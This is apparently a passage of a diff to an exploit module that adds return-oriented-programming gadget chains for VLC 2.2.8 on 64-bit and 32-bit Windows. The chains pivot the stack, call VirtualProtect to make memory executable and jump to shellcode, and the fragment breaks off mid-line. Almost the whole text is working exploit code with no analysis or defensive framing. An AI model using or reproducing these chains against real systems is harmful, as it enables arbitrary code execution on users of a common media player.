+ rop_gadgets = { + '64': { + '2.2.8': [ + 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET + 0x00403b60, # POP RCX # RET + target_address, # lpAddress + 0x004011c2, # POP RDX # RET + 0x00001000, # dwSize + 0x0040ab70, # JMP VirtualProtect + target_address + 0x500, # Shellcode + ], + }, + '32': { + '2.2.8': [ + 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET + 0x00407086, # POP EDI # RETN [vlc.exe] + 0x00000040, # 0x00000040-> edx + 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe] + 0x41414141, # Filler (compensate) + 0x41414141, # Filler (compensate) + 0x41414141, # Filler (compensate) + 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe] + 0x22000030, # Filler (compensate) for rol [eax] below + 0x41414141, # Filler (compensate) + 0x004039c8, # POP ECX # RETN [vlc.exe] + 0x0041193d, # &Writable location [vlc.exe] + 0x00409d18, # POP EBX # RETN [vlc.exe] + 0x00000201, # 0x00000201-> ebx + 0x0040a623, # POP EBP # RETN [vlc.exe] + 0x0040a623, # POP EBP # RETN [vlc.exe] + 0x004036CB, # POP ESI # RETN [vlc.exe] + 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe] + 0x00407086, # POP EDI # RETN [vlc.exe] + 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe] + 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8) + target_address + 0x5e0, # Shellcode + ], + } + } + + if bits == '64': + target_address_packed = pack("